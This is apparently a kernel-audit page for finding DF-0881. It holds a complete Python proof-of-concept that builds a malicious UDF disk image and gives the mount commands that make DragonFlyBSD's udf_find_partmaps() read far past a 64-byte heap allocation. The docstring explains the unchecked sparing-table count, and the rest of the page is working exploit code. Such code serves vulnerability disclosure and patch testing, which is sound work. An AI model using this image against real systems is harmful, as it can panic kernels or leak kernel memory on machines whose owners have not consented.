DragonFlyBSD Kernel Audit
DF-0881 / craft_evil_udf.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-0881 PoC: Craft a UDF image whose Sparing Table has rt_l (entry count)
NOT bounded by st_size (allocation size), triggering a heap OOB read in
udf_find_partmaps() during mount.

Bug: sys/vfs/udf/udf_vfsops.c:692
  662:  udfmp->s_table = kmalloc(pms->st_size, ...);     // alloc st_size bytes
  681:  bcopy(bp->b_data, udfmp->s_table, pms->st_size); // copy st_size bytes (OK)
  692:  for (i = 0; i < udfmp->s_table->rt_l; i++) {     // rt_l NOT bounded by st_size!
  693:      udfmp->s_table_entries = i;
  694:      if (udfmp->s_table->entries[i].org >= 0xfffffff0)  // OOB READ of entries[i]
              break;
        }

struct udf_sparing_table layout (__packed):
  offset 0:  desc_tag      (16 bytes)
  offset 16: regid id      (32 bytes)
  offset 48: uint16 rt_l   (entry count, from disk — UNCHECKED vs st_size)
  offset 50: uint16 reserved
  offset 52: uint32 seq_num
  offset 56: spare_map_entry entries[]  (8 bytes each: org + map)

With st_size=64: only entries[0] (offset 56, 8 bytes -> ends at 64) fits.
entries[1] at offset 64 is ALREADY OOB.  rt_l=65535 -> loop reads offsets
56..524328 (~512 KB) past a 64-byte kmalloc => kernel page-fault / panic,
or silent heap info-leak if the OOB pages happen to be mapped.

Usage:  python3 craft_evil_udf.py [evil.udf] [st_size] [rt_l]
Mount:  vnconfig -c vn0 evil.udf ; mount -t udf -o rdonly /dev/vn0 /mnt
"""
import struct, sys

SECTOR = 2048
ST_SIZE = int(sys.argv[2]) if len(sys.argv) > 2 else 64
RT_L    = int(sys.argv[3]) if len(sys.argv) > 3 else 65535
NSEC    = max(300, (ST_SIZE // SECTOR) + 300)  # ensure image is large enough

def tag(tid, loc, serial=0):
    """Build a 16-byte ECMA-167 descriptor tag with correct additive checksum."""
    t = bytearray(16)
    struct.pack_into('<HHBBHHHI', t, 0, tid, 2, 0, 0, serial, 0, 0, loc)
    t[4] = 0
    t[4] = sum(t[0:15]) & 0xff          # cksum = sum(bytes 0..14 with byte4=0) mod 256
    return bytes(t)

def regid(s):
    """32-byte regid: flags(1) + id[23] + suffix[8]."""
    r = bytearray(32)
    b = s.encode('ascii')[:23]
    r[1:1+len(b)] = b
    return bytes(r)

def pad(data, sz=SECTOR):
    return data + b'\x00' * (sz - len(data))

img = bytearray(NSEC * SECTOR)

# ---- Sector 0: Partition Descriptor (TAGID_PARTITION = 5) ----
pd = bytearray(SECTOR)
pd[0:16] = tag(5, 0)
struct.pack_into('<I',  pd, 16, 0)       # seq_num
struct.pack_into('<HH', pd, 20, 0, 0)    # flags, part_num=0
                                       # contents(32) + contents_use(128) zeroed
struct.pack_into('<I',  pd, 216, 1)      # access_type
struct.pack_into('<I',  pd, 220, 32)     # start_loc  = sector 32  (part_start)
struct.pack_into('<I',  pd, 224, 200)    # part_len   = 200 sectors
img[0:SECTOR] = pd

# ---- Sector 1: Logical Volume Descriptor (TAGID_LOGVOL = 6) ----
lv = bytearray(SECTOR)
lv[0:16] = tag(6, 1)
struct.pack_into('<I',  lv, 16, 0)       # seq_num
# desc_charset @20: type(1)=0, inf[63]="\0OSTA Compressed Unicode"
osta = b'\x00OSTA Compressed Unicode'
lv[21:21+len(osta)] = osta[:63]
# logvol_id[128] @84 zeroed
struct.pack_into('<I',  lv, 212, SECTOR) # lb_size = 2048
lv[216:216+32] = regid('*OSTA UDF Compliant')          # domain_id
# _lvd_use.fsd_loc @248 : long_ad{len, lb_num, part_num, ...}
struct.pack_into('<IHH', lv, 248, SECTOR, 0, 0)         # FSD at part_start+0
struct.pack_into('<I',  lv, 264, 64)     # mt_l  = 64  (one 64-byte partition map)
struct.pack_into('<I',  lv, 268, 1)      # n_pm  = 1
lv[272:272+32] = regid('DragonFly BSD')                 # imp_id
# imp_use[128] @304 zeroed
struct.pack_into('<II', lv, 432, SECTOR, 280)           # integrity seq

# ---- Partition map @440: Type 2 Sparable ----
P = 440
lv[P]     = 2        # type  = 2 (Type 2)
lv[P+1]   = 64       # len   = UDF_PMAP_SIZE
lv[P+4:P+4+32] = regid('*UDF Sparable Partition')       # id
struct.pack_into('<H', lv, P+36, 0)     # vol_seq_num
struct.pack_into('<H', lv, P+38, 0)     # part_num   = 0
struct.pack_into('<H', lv, P+40, SECTOR) # packet_len = 2048  (p_sectors=1)
lv[P+42]  = 1        # n_st  = 1 sparing table
struct.pack_into('<I', lv, P+44, ST_SIZE)  # st_size *** (bug trigger) ***
struct.pack_into('<I', lv, P+48, 34)    # st_loc[0] = sector 34  (absolute)
img[SECTOR:2*SECTOR] = lv

# ---- Sparing table @sector 34: st_size bytes, rt_l unbounded ----
# Need ceil(ST_SIZE / SECTOR) sectors starting at 34.
st_sectors = (ST_SIZE + SECTOR - 1) // SECTOR
st = bytearray(st_sectors * SECTOR)
st[0:16]   = tag(0, 34)                 # sparing-table descriptor tag id=0
st[16:48]  = regid('*UDF Sparing Table')
struct.pack_into('<H', st, 48, RT_L)    # rt_l *** UNBOUNDED vs st_size ***
struct.pack_into('<H', st, 50, 0)       # reserved
struct.pack_into('<I', st, 52, 0)       # seq_num
# entries[0] @offset 56: org=0 (<0xfffffff0 so loop runs); rest of st_size zeroed
struct.pack_into('<II', st, 56, 0, 0)
img[34*SECTOR:34*SECTOR+len(st)] = st

# ---- Sector 256: Anchor Volume Descriptor Pointer (TAGID_ANCHOR = 2) ----
av = bytearray(SECTOR)
av[0:16] = tag(2, 256)
struct.pack_into('<II', av, 16, 4*SECTOR, 0)     # main_vds_ex:   loc=0,  len=8192
struct.pack_into('<II', av, 24, 4*SECTOR, 0)     # reserve_vds_ex: loc=0,  len=8192
img[256*SECTOR:257*SECTOR] = av

out = sys.argv[1] if len(sys.argv) > 1 else 'evil.udf'
with open(out, 'wb') as f:
    f.write(img)

entries_fit = max(0, (ST_SIZE - 56) // 8)
last_off = 56 + 8 * (RT_L - 1)
print(f"[+] wrote {out} ({len(img)} bytes)")
print(f"[+] sparing table @sector 34: st_size={ST_SIZE}, rt_l={RT_L}")
print(f"[+] entries that fit in st_size: {entries_fit} (offsets 56..{56+8*entries_fit})")
print(f"[+] entries[{entries_fit}] @offset {56+8*entries_fit} = first OOB (past {ST_SIZE}-byte alloc)")
print(f"[+] loop reads up to entries[{RT_L-1}] @offset {last_off} ({last_off - ST_SIZE} bytes past alloc)")
print(f"[+] bucket: {'kmem (page-zone)' if ST_SIZE >= 16384 else 'slab zone (128KB pages)'}")